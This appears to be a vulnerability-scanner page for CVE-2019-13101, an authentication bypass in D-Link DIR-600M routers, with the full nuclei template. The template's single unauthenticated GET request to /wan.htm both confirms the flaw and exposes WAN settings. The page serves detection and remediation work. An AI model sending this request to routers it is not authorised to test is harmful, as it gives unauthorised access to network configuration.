D-Link DIR-600M - Authentication Bypass

criticalseverity

9.8CVSS score

67.1%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

D-Link DIR-600M 3.02, 3.03, 3.04, and 3.06 devices can be accessed directly without authentication and lead to disclosure of information about the WAN, which can then be leveraged by an attacker to modify the data fields of the page.

Impact

An attacker can bypass authentication and gain unauthorized access to the router's settings, potentially leading to further compromise of the network.

Fix

Update the router's firmware to the latest version provided by D-Link.

How to confirm it

Send: GET /wan.htm
Positive when: contains "/PPPoE/" AND status 200

Run it with nuclei: nuclei -id CVE-2019-13101 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-13101

info:
  name: D-Link DIR-600M - Authentication Bypass
  author: Suman_Kar
  severity: critical
  description: D-Link DIR-600M 3.02, 3.03, 3.04, and 3.06 devices can be accessed directly without authentication and lead to disclosure of information about the WAN, which can then be leveraged by an attacker to modify the data fields of the page.
  impact: |
    An attacker can bypass authentication and gain unauthorized access to the router's settings, potentially leading to further compromise of the network.
  remediation: |
    Update the router's firmware to the latest version provided by D-Link.
  reference:
    - https://github.com/d0x0/D-Link-DIR-600M
    - https://www.exploit-db.com/exploits/47250
    - https://nvd.nist.gov/vuln/detail/CVE-2019-13101
    - https://us.dlink.com/en/security-advisory
    - http://packetstormsecurity.com/files/153994/D-Link-DIR-600M-Wireless-N-150-Home-Router-Access-Bypass.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-13101
    cwe-id: CWE-306
    epss-score: 0.67091
    epss-percentile: 0.99306
    cpe: cpe:2.3:h:dlink:dir-600m:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dlink
    product: dir-600m
  tags: cve2019,cve,packetstorm,edb,dlink,router,iot,vkev,vuln

http:
  - raw:
      - |
        GET /wan.htm HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "/PPPoE/"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from